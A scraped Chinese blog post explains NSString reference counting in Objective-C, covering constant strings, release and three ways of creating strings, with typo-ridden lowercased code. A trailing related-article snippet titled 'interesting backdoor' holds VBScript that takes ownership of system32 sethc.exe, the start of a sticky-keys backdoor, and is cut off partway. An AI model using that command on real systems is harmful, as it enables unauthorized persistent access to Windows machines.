NSString的有意思的引用計數

2022-08-04 21:57:19 字數 1441 閱讀 2715

當我們用alloc 初始化乙個物件的時候,這個物件的引用計數為1 。當你不需要它的時候release 來釋放它 。

nsstring *str = [[nsstring alloc] initwithstring:@"abc"];

str = @"123";

[str release];

nslog(@"%@".str);

首先,咱們先對這段**進行分析。

第一句 宣告了乙個nsstring型別的例項 str, 並將其初始化init後賦值為@"abc"

第二行,將str的指標指向了乙個常量@"123"。 理論上講在第一行初始化的@"abc"沒有任何任何指標指向了。 所以造成了記憶體洩露

然後第三行, 將str的引用計數-1

第四行輸出str的值 為123.

首先回答為什麼不會崩潰, 因為第三行的release 實際上是release了乙個常量@"123" 而作為常量,其預設的引用計數值是很大的(100k+)

不信的話你們可以試試這句

nslog(@"retaincount = %d",[@"123" retaincount]);
最終的輸出值會是乙個很大很大的數。  所以單單乙個release是不會將其釋放掉的。

然後再回答這樣會不會造成記憶體洩露。

其實…………理論上講 會!

但是實際上,objective-c對nsstring型別有特殊照顧。所有的nsstring的引用計數器預設初始值都會非常非常大。

nsstring是乙個不可變的字串物件。這不是表示這個物件宣告的變數的值不可變,而是表示它初始化以後,你不能改變該變數所分配的記憶體中的值,但你可以重新分配該變數所處的記憶體空間。

生成乙個nsstring型別的字串有三種方法:

方法1.直接賦值:     nsstring *str1 = @"my string"; 

方法2.類函式初始化生成:     nsstring *str2 = [nsstring stringwithstring:@"my string"];

方法3.例項方法初始化生成:   nsstring *str3 = [[nsstring alloc] initwithstring:@"my string"];

nsstring *str4 = [[nsstring alloc]initwithformat:@"my string"];

區別1: 方法一生成字串時,不會初始化記憶體空間,所以使用結束後不會釋放記憶體;

而其他三個都會初始化記憶體空間,使用結束後要釋放記憶體;

在釋放記憶體時方法2和3也不同,方法2是autorelease型別,記憶體由系統釋放;方法3則必須手動釋放

區別2:用format初始化的字串,需要初始化一段動態記憶體空間,如:0x6a42a40;

所以str3和str1的位址一致,但是str4和str1的位址不一致。

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...